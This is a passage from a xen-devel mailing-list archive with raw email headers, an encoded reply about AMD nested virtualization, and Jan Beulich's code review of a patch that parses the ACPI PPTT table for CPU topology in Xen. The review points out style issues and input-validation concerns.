 AgKPeG4v5IchqzYXeFCLVXXvJuGllPr7XOLFn8nU/sSAYp2FR0BvIHIQgnFuVq+Tf5BFL+NjM2YxibFZS++NB5fh3lsCF225eUKyoNQLeq9TmBP9ze/kyaXcpo/lqNvS5qTjkRJthPOXuNBgYV5A7CbPnCFk5EPMjDrGcqgVQod/9t9dM1KPL0ho/jQ7a51n1zZx/RE5+s029kE/UqGpUaXf/TEJvoz4OVy4l64xTvVAysEFPm0FqqDfo1qcG5703Z6+blhpp7WITM7UbBiFcHG54QMKMVYTDKZjEE2b0Tk8SwBV30SuN78oyw7JGivM1AzTMl4mCMUUtMRDtmwGMgkfp2WqGQ6Qxqcjkxc7sKshbqHvSHe8q/KDsdGW7kT0XrIMZMQbtdbCKsEN/TW0lsDuGjBsEnFiB2NaIMX8YXc1LiBKStMEaLEjR8lKvCbfQWIY0BXH9Dzk5QPzlrYVjKCfYv+vlfTDSDnqg+RYL1MMFDaI+oQucMyWkdgOjtLRLmmDEw9XfZtH6cC+LwQfTzauNK6OWCfQYUFLYuA6QVGH6B1p74BofHZdTb72JjU68gc1HKSQVTCeM9O1XdqjMHkJLkh+BRI3aCzQLRR1JeBHrA9V49aY3V6EIio+sioaH+bStQ8E5Ja8fKnOugp/TBEHRkoJOijQwRRIahJjLxM3rVrCHORU6YG7YccXxDXprPl95nj3k3mV8z6kkhUbsSQy+ivVFznKEVMGbZXNeks=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8274.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(23010399003)(366016)(1800799024)(18002099003)(10067099003)(22082099003)(56012099006)(11063799006)(4143699003)(5023799004)(3023799007)(38070700021)(6133799003);DIR:OUT;SFP:1101;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?a1g1OHI2WXVxZU82V2toUkpKWVRNZjVnSFRuc2hmM1RuZnY0eVc2aHBORDM4?=
 =?utf-8?B?bXVocXBvQUwyVHZJK1JjcTBxN3M3NXZKZ1lVbWFpam1STVZjd2FYZldTbFY3?=
 =?utf-8?B?QzNkVzNycU5ROVlyRUhLVGFZZkhDNHdQcHVRZXN6cHVrVHJjVGxGZ3NBTG9s?=
 =?utf-8?B?bC9IVWFZa0Q3bW1lbUFFaXVKMEdwSFVjR1pJSldyRG9JYkVhWDVZSysycVRH?=
 =?utf-8?B?UlZ2QVFFdi9OUGdnSXFYYWxBU2ZBaW9SamxRdURFcjNiZFNwS3YzdXpSUXJI?=
 =?utf-8?B?QmI3cFRFRU1mUkNqZ09TMVlUR3RUamxjTldJZjRFeG5sa2JRQkJkekpBb1pi?=
 =?utf-8?B?RlJCMUErQ2pmOHdrMGkvMVY1ZGZDV1I2b2QzZjd4VytZdGlmaHg4UGs0VjZr?=
 =?utf-8?B?eGNja0xSWFpHNlE4a05SY2wwLzkyV3p1YmlNTnFMSUVKbnNTV09qamp1M2xR?=
 =?utf-8?B?ejM3STZZdVBnNzM1aHd2cDFsT2RuSDZuQVpwVTZRZWlwem1OeGIvN1MvaWpL?=
 =?utf-8?B?THluOVdYVGxxUlFTNzFiSnpYWHllNXgzQldrTFowaXY2Ui9qcS9raDFEWU9G?=
 =?utf-8?B?aWIzUjE5TExLWmtoL29wdlFYSUpMcnVxWDdoUk4zaFFFQ3dLSUNPVGNYd0NN?=
 =?utf-8?B?YlcwakxmbzlkUVVrczl1VTNXZDBZNDBRVUM4Q2d5bDFT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Internal
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8274.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 397f36cd-9147-48d8-5e41-08deebdbb253
X-MS-Exchange-CrossTenant-originalarrivaltime: 27 Jul 2026 12:36:35.5231
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: ZfDOzJhDYdar/qnZd+vR/NEvH0kuNVmtmAlxiN6LeynllYCqSdgsbSGbstrks9IF0QeUHJwCw+0IA4FUBflErytgj759krD0MBp/Eb+1SBU=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DM6PR03MB5210
X-purgate-ID: tlsNG-c201ff/1785155799-F44A42A1-298F2A04/0/0
X-purgate-type: clean
X-purgate-size: 5038

PiBGcm9tOiBUZWRkeSBBc3RpZQo+IFNlbnQ6IE1vbmRheSwgSnVseSAyNywgMjAyNiAxMjo0OCBQ
TQo+IFRvOiBTdGVwaGVuIENoZW5nIO+8iOeoi+Wwj+aeq++8iTsgeGVuLWRldmVsQGxpc3RzLnhl
bnByb2plY3Qub3JnCj4gQ2M6IFJvc3MgTGFnZXJ3YWxsOyBBbmRyZXcgQ29vcGVyOyBBbnRob255
IFBFUkFSRDsgTWljaGFsIE9yemVsOyBKYW4gQmV1bGljaDsgSnVsaWVuIEdyYWxsOyBSb2dlciBQ
YXUgTW9ubsOpOyBTdGVmYW5vIFN0YWJlbGxpbmk7IEphc29uIEFuZHJ5dWsKPiBTdWJqZWN0OiBS
ZTogW1BBVENIXSB4ODYvc3ZtOiByZXF1aXJlIFZNU0FWRXZpcnQgZm9yIG5lc3RlZCB2aXJ0Cj4g
Cj4gCj4gTGUgMjcvMDcvMjAyNiDDoCAwOToyMCwgU3RlcGhlbiBDaGVuZyBhIMOpY3JpdMKgOgo+
ID4gV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LCBJIHRo
aW5rIGFueSB0aW1lIHNwZW50IG1ha2luZyBpdCB3b3JrIG9uIG9sZGVyCnByb2Nlc3NvcnMgYW5k
IHRoZW4gdGVzdGluZyBpdCBpcyBhIHdhc3RlLiBBTUQgbmVzdGVkIHZpcnQgZG9lc24ndCB3b3Jr
IG5vdyBzbwpyZW1vdmluZyBzdXBwb3J0IGZvciBvbGRlciBwcm9jZXNzb3JzIGlzIG5vdCBhIHJl
Z3Jlc3Npb24gaW4gZnVuY3Rpb25hbGl0eS4KClJvc3M=


From xen-devel-bounces@lists.xenproject.org Mon Jul 27 12:57:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 12:57:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371684.1619163 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woKtV-0002sU-41; Mon, 27 Jul 2026 12:57:21 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371684.1619163; Mon, 27 Jul 2026 12:57:21 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woKtV-0002sN-0U; Mon, 27 Jul 2026 12:57:21 +0000
Received: by outflank-mailman (input) for mailman id 1371684;
 Mon, 27 Jul 2026 12:57:20 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woKtT-0002sG-UP
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 12:57:20 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woKtS-00BCp6-UG
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 14:57:18 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6755ab-bab6-0a2a0a5309dd-0a2a4507b3b0-10
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 14:57:18 +0200
Received: from [209.85.221.54] (helo=mail-wr1-f54.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6755ae-b4ea-0a2a45070019-d155dd36c8ea-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 14:57:18 +0200
Received: by mail-wr1-f54.google.com with SMTP id
 ffacd0b85a97d-47f9ab7ee38so1261410f8f.2
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 05:57:18 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85c63bd3sm48627561f8f.27.2026.07.27.05.57.17
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 27 Jul 2026 05:57:17 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785157038; x=1785761838; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=LjvJMdEsL/tmczx/mQuGwvM9Ym3CMVdLSg16r/d1pe4=;
        b=ZIuSOTKnjPATx1nBIcc5CeuPn54+yIfVUMjpPItjza7o4x7jt/xPOuBolZubxWSO73
         KGZIdrbYxF4pGgiMQYJojllTJEnXY13lSbI9bTan9jDYrThyxLB7hSiSCq1+UsViKJHH
         Y2TkLCh+Dky3l7JJmOWUjUybiAYLfozuDOcsfur3w5fxT1n4FihnRnEaA2UDBdyMIYPk
         Jd+U/NkuAraUjCTzLFtHuPhlMqaIbs+9+Amkia085vk0fmKkBWj88IlxwRaJyQl7pRQ1
         sUnOL6vmQcznIy8R3RSwik1HjFSEkGnWbFK0qAAY7A5dZg9i8wS0eXR+EeRrICC8uUdK
         wohg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785157038; x=1785761838;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=LjvJMdEsL/tmczx/mQuGwvM9Ym3CMVdLSg16r/d1pe4=;
        b=fAHTpNRwOELPrYnDyv6khY3FbpvGSGnF0JbBKqr5bG8FI5TSUQEbsW5Nwd61lLeZS3
         3aPQZtnYAVkYX5A7UXFj8QZITg/vqxF7KdYJGLVOj+WpV7FW6pWFMEw1PJ8PLIi5m3iy
         Uptyy7r7cgcIU2O5tkSgsm+5huX4plMdO8s6twtkHznKutKcGQWLhCj1W2neX3iMiprM
         A9wh93aHE7XuxwU+XgQgszVy2DF2NUvN704nugbaU5gucDSoiWC4dVfdtBgmrx7q2Eso
         EAS2SrQO7C3pdGGPxq6pL/kxj6xR0vSqlOBkkt4OZomKSZLrTkJ/7BGX91NpVfaE3UTy
         m+KQ==
X-Forwarded-Encrypted: i=1; AHgh+RrCwIqcyo8Dwn2CdxOL7+y68lk5R8wV0iQhfQxggQKk20+GNuGjGK3FvdP8d5XOACIV7Fsg7BogbXI=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwxH91Blag7d7TRnBI793Ih1oi0jWTqMMdvcp7JJXq4wEAW4Lju
	pT/SZejwR80RCiICy4z/2gZh73KJFoaiIroNTU/YIG7AeCSGDo0YWhaNLnOAJfJzOA==
X-Gm-Gg: AR+sD10GBABG1MCNPRHR0o+Yzai4maNjguJEREQ/i1Vam0BE8KoJLXJkIepGVZT/nSU
	9c85rlmr2OqFYuI4g/+A+ZkB+a/MrCMztEU/OwLeAJmD+7uo0CJUDSb23Pc5Y4pl9E7AoUYHr7J
	NUfy3aUxXHQeG8CTfvMuY2hVXERhOxb2gpKUFQ2fD1eoEQZNzcT5CmMlNIwNU/AazeYKPsDdv37
	jtNZAPZV/hIW676v2ty+dSMBmlsj9ypSrdPgDm6XY+jIGqJwIlXy0NxN6AruayqwoYFkKHckUx5
	8xkFHh3dgw/tumwzH2uff6ro34HveWC85eUiwyj9HDMPlSEdTy2YHDxv53nunhq+5FIUTOvTcy6
	4nEEDUrZ3lKPiNCgDRXxdeb74f0OEIyGP/mYrPfH576wZzxuox3njbOIH05rjsd/fjpqPGtke4P
	ySu3LgLxKNBNUjw+oZlE4BxWdJGRpoEWRA2O7/P3dnItY5Kjfv+XNmhLfgMbAqUT2POw==
X-Received: by 2002:a05:6000:982:b0:47f:7f28:a5e4 with SMTP id ffacd0b85a97d-47f9feb3c43mr9611764f8f.33.1785157038236;
        Mon, 27 Jul 2026 05:57:18 -0700 (PDT)
Message-ID: <7b7eec76-2d9d-4a08-8f63-4b3da321d5fa@suse.com>
Date: Mon, 27 Jul 2026 14:57:16 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v8 4/4] xen/acpi: Parse PPTT to initialize CPU topology
To: Hirokazu Takahashi <taka@valinux.co.jp>
Cc: Mykyta_Poturai@epam.com, Stefano Stabellini <sstabellini@kernel.org>,
 Julien Grall <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Teddy Astie <teddy.astie@vates.tech>, xen-devel@lists.xenproject.org
References: <20260726005517.379267-1-taka@valinux.co.jp>
 <20260726005517.379267-5-taka@valinux.co.jp>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A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-5-taka@valinux.co.jp>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1785157038-370DDAE4-A23771D9/0/0
X-purgate-type: clean
X-purgate-size: 9034

On 26.07.2026 02:55, Hirokazu Takahashi wrote:
> Parse the ACPI PPTT (Processor Properties Topology Table) to
> initialize the CPU topology.
> 
> For ACPI 6.3 and later, the ACPI_PPTT_ACPI_PROCESSOR_IS_THREAD flag
> is checked to determine the presence of threading. For ACPI 6.2 and
> earlier, CPUs are assumed not to support threading.
> 
> Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
> ---
> Changes in v8:
>   * Relaxed processor node length check to allow
>     proc->header.length >= table_size.
>   * Treated root nodes (nodes with parent == 0) as equivalent to
>     ACPI_PPTT_PHYSICAL_PACKAGE nodes.
>   * Moved INVALID_ACPIID definition to xen/acpi.h to make it available
>     cross-architecture.
>   * Removed ARM-specific references from comments in
>     architecture-agnostic code.
>   * Added explicit parentheses around bitwise operations in logical
>     expressions.
>   * Placed binary logical operators (||, &&) at the end of lines when
>     splitting conditional statements.

This rule, however, ...

> --- a/xen/drivers/acpi/topology.c
> +++ b/xen/drivers/acpi/topology.c
> @@ -4,33 +4,315 @@
>  #include <xen/cpu-topology.h>
>  #include <xen/cpumask.h>
>  #include <xen/init.h>
> +#include <xen/xvmalloc.h>
> +
> +#define ACPI_PPTT_MAX_LEVELS 16
> +
> +static uint32_t __initdata map_cpu_acpiid[NR_CPUS] = {
> +    [0 ... NR_CPUS - 1] = INVALID_ACPIID
> +};
>  
>  /*
> - * TODO: Populate the topology information by scanning the ACPI
> - *       PPTT (Processor Properties Topology Table).
> + * The first argument 'cpu' is the logical CPU ID assigned by Xen,
> + * and the second argument 'acpi_id' the 32-bit ACPI processor ID.
>   */
> -int __init acpi_init_cpu_topology(void)
> +void __init acpi_map_cpu_acpiid(unsigned int cpu, uint32_t acpi_id)
>  {
> -    unsigned int cpu;
> +    map_cpu_acpiid[cpu] = acpi_id;
> +}
> +
> +static unsigned int __init get_logical_id(unsigned int key,
> +                                          unsigned int *map,
> +                                          unsigned int *count)
> +{
> +    unsigned int id;
> +
> +    for ( id = 0; id < *count; id++ )
> +        if ( map[id] == key )
> +            return id;
> +
> +    map[*count] = key;
> +
> +    return (*count)++;
> +}
> +
> +static bool __init verify_subtable(const struct acpi_subtable_header *entry,
> +                                   const struct acpi_table_pptt *pptt)
> +{
> +    unsigned long table_end = (unsigned long)pptt + pptt->header.length;
> +
> +    if ( entry->length < sizeof(*entry) || (entry->length & 3) )
> +    {
> +        printk(XENLOG_ERR "ACPI: PPTT subtable length is invalid\n");
> +        return false;
> +    }
> +
> +    if ( (unsigned long)entry + entry->length > table_end )
> +    {
> +        printk(XENLOG_ERR "ACPI: PPTT subtable extends beyond table end\n");
> +        return false;
> +    }
> +
> +    return true;
> +}
> +
> +static bool __init verify_proc(const struct acpi_pptt_processor *proc)
> +{
> +    unsigned long table_size;
> +
> +    if ( proc->header.length < sizeof(*proc) )
> +    {
> +        printk(XENLOG_ERR "ACPI: PPTT processor node length is too small\n");
> +        return false;
> +    }
>  
>      /*
> -     * Generate temporary cpu topology information for now.
> -     * It assumes that the cpu doesn't have SMT and all CPUs
> -     * belong to the same socket.
> +     * Each private resource is represented by a 32-bit resource ID.
> +     * Ensure the structure length accurately accounts for the trailing array.
>       */
> +    table_size = sizeof(*proc)
> +        + (unsigned long)proc->number_of_priv_resources * sizeof(uint32_t);

... holds for all binary operators, i.e. also the + here. Indentation of the
continuing line would also better be

    table_size = sizeof(*proc) +
                 (unsigned long)proc->number_of_priv_resources * sizeof(uint32_t);

Where I'd then still question the need for the cast: The operation is, afaict,
the same with it dropped, both in ILP32 and LP64 models. With one exception -
there is an overflow potentially getting in the way, but the cast helps with
that only in LP64. Question is whether too large a ->number_of_priv_resources
wouldn't better be rejected uniformly as presumably bogus.

> +
> +    if ( proc->header.length < table_size )
> +    {
> +        printk(XENLOG_ERR "ACPI: PPTT processor node length invalid\n");
> +        return false;
> +    }
> +
> +    return true;
> +}
> +
> +static const struct acpi_pptt_processor *__init find_pptt_node(
> +    const struct acpi_table_pptt *pptt, uint32_t acpi_id)
> +{
> +    const struct acpi_subtable_header *entry;
> +    unsigned long table_end = (unsigned long)pptt + pptt->header.length;
> +    const void *ptr = pptt + 1;
> +
> +    while ( (unsigned long)ptr + sizeof(*entry) <= table_end )
> +    {
> +        entry = ptr;
> +
> +        if ( !verify_subtable(entry, pptt) )
> +            break;
> +
> +        if ( entry->type == ACPI_PPTT_TYPE_PROCESSOR )
> +        {
> +            const struct acpi_pptt_processor *proc;
> +
> +            proc = container_of(entry, const struct acpi_pptt_processor,
> +                                header);

Have this be the initializer of the variable:

            const struct acpi_pptt_processor *proc =
                container_of(entry, const struct acpi_pptt_processor, header);

?

> +            if ( !verify_proc(proc) )
> +                break;
> +
> +            /*
> +             * Leaf node verification is only required for ACPI 6.3
> +             * (PPTT revision 2) or later.
> +             */
> +            if ( (proc->flags & ACPI_PPTT_ACPI_PROCESSOR_ID_VALID) &&
> +                 proc->acpi_processor_id == acpi_id &&
> +                 (pptt->header.revision < 2 ||
> +                  (proc->flags & ACPI_PPTT_ACPI_LEAF_NODE)) )
> +                return proc;
> +        }
> +
> +        ptr += entry->length;
> +    }
> +
> +    return NULL;
> +}
> +
> +/*
> + * Populate the topology information by scanning the ACPI PPTT
> + * (Processor Properties Topology Table).
> + */
> +int __init acpi_init_cpu_topology(void)
> +{
> +    acpi_status status;
> +    struct acpi_table_header *table_header;
> +    const struct acpi_table_pptt *pptt;
> +    unsigned int num_sockets = 0;
> +    unsigned int num_clusters = 0;
> +    unsigned int num_cores = 0;
> +    unsigned int *socket_map = xvzalloc_array(unsigned int, nr_cpu_ids);
> +    unsigned int *cluster_map = xvzalloc_array(unsigned int, nr_cpu_ids);
> +    unsigned int *core_map = xvzalloc_array(unsigned int, nr_cpu_ids);
> +    unsigned int cpu;
> +    int ret = 0;
> +
> +    status = acpi_get_table(ACPI_SIG_PPTT, 0, &table_header);
> +    if ( ACPI_FAILURE(status) )
> +    {
> +        /* A missing PPTT is benign; fall back to the default topology. */
> +        ret = -ENODEV;
> +        goto out;
> +    }
> +
> +    if ( !socket_map || !cluster_map || !core_map )
> +    {
> +        printk(XENLOG_ERR
> +               "ACPI: Failed to allocate memory for topology parsing\n");
> +        ret = -ENOMEM;
> +        goto out;
> +    }
> +
> +    pptt = container_of(table_header, const struct acpi_table_pptt, header);
> +
> +    for_each_possible_cpu(cpu)
> +    {
> +        uint32_t acpi_id = map_cpu_acpiid[cpu];

You may end up reading INVALID_ACPIID here. Then ...

> +        struct cpu_topology *topo = &cpu_topology[cpu];
> +        const struct acpi_pptt_processor *proc;
> +        unsigned int level;
> +        unsigned int core_group_key = 0;
> +        unsigned int cluster_group_key = 0;
> +        unsigned int socket_group_key = 0;
> +        bool threading = false;
> +
> +        proc = find_pptt_node(pptt, acpi_id);

... a bogus table entry with that ID would be found here, potentially for
multiple values of "cpu".

> +        if ( !proc )
> +        {
> +            printk(XENLOG_WARNING
> +                   "ACPI: No PPTT leaf node for CPU %u (ACPI ID %#x)\n",
> +                   cpu, acpi_id);
> +            ret = -ENOENT;
> +            goto out;
> +        }
> +
> +        /*
> +         * Limit the maximum loop depth to prevent an infinite loop in case
> +         * the PPTT is corrupted or contains cyclic references.
> +         */
> +        for ( level = 0; level < ACPI_PPTT_MAX_LEVELS; level++ )
> +        {
> +            const unsigned int offset = (const void *)proc - (const void *)pptt;
> +
> +            /*
> +             * If this proc has no parent node, it is the root node. Treat it
> +             * as equivalent to an ACPI_PPTT_PHYSICAL_PACKAGE node.
> +             */
> +            if ( proc->flags & ACPI_PPTT_PHYSICAL_PACKAGE || !proc->parent )

You say in the revlog that you added parentheses, but at least here you
didn't.

Jan


From xen-devel-bounces@lists.xenproject.org Mon Jul 27 13:48:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 13:48:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371697.1619172 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woLh7-0001Vq-Qz; Mon, 27 Jul 2026 13:48:37 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371697.1619172; Mon, 27 Jul 2026 13:48:37 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woLh7-0001Vj-Nh; Mon, 27 Jul 2026 13:48:37 +0000
Received: by outflank-mailman (input) for mailman id 1371697;
 Mon, 27 Jul 2026 13:48:36 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1woLh5-0001Vc-Q2
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 13:48:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woLh2-008HMu-MJ
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 15:48:32 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a6761ac-2eae-0a2a0a5409dd-0a2a4502a896-18
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 15:48:32 +0200
Received: from [52.101.53.44]
 (helo=BL0PR03CU003.outbound.protection.outlook.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a6761ae-6ca4-0a2a45020019-3465352c0a6e-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 15:48:31 +0200
Received: from CH8PR03MB8276.namprd03.prod.outlook.com (2603:10b6:610:2c1::14)
 by PH7PR03MB7389.namprd03.prod.outlook.com (2603:10b6:510:2ee::12)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.13; Mon, 27 Jul
 2026 13:48:27 +0000
Received: from CH8PR03MB8276.namprd03.prod.outlook.com
 ([fe80::8420:cc3e:23e9:7a0e]) by CH8PR03MB8276.namprd03.prod.outlook.com
 ([fe80::8420:cc3e:23e9:7a0e%3]) with mapi id 15.21.0245.009; Mon, 27 Jul 2026
 13:48:27 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=J6HVdTgUO/1YXpc/N+s2zeHoXQrgtZv+LtycIS/JJX1q1LDy4pXbczCdBTkxGymzVp/LSdZsoVZVtEKk7030rIgiymbWF01F6RbXD00DXPft3NwSJMBxNUt0VQD9NvYNYfDysreg0Uyq8hXLi+/EFR96ZiHKMW1/mQDjoo9+jisGjxiBSs1wPiVFIKF6JpefGR0Y81OWt7QFnJiEAqX83s0mI28c29B13nCWDCcWZoC/l189Glgwlnwx2c2MFbnRbyW6IJMOVR1bXFcXidbnSJG5HUbe0HFNjIpn8DgCQnxBzPS8WB8bEW1QkqxLY5GJqJUk1dtKamjLJx9Xtts6rQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=EcdE+lkbnPQOPxUgkhbWAzmQBJJSk5/8YT4SlygUmUA=;
 b=qlw4jbHiZdQ0bFTAJsMFrBAK+RwglmdVkJZzt84+/C9A+yyEJz2sbpe/uqDacqaw6d334kZm+qynm6XwEBk8rNn64808nCc7gYFeIGHJpZJC0Y42+jnD/8Yx3oa+g1J0h5omfViOW4UiDYK3lzvCddJE4R65tcwgPyQWZXoqAIfL47ItFaksHQiWBs8nlcv2LPOvLCzaaGmV6egaJuf1jiOelf2jFyfSRSt+cMWAG5Jja0iciN70u9aMbWu3+Qz7q7+RW8bTKr7McKzkqbalN+62kfPnE981uazV7OrlGKQB38b4GIa3uZcGKmAEcYPvr/+UnMSwM6ELN+Z8KCFSwQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=EcdE+lkbnPQOPxUgkhbWAzmQBJJSk5/8YT4SlygUmUA=;
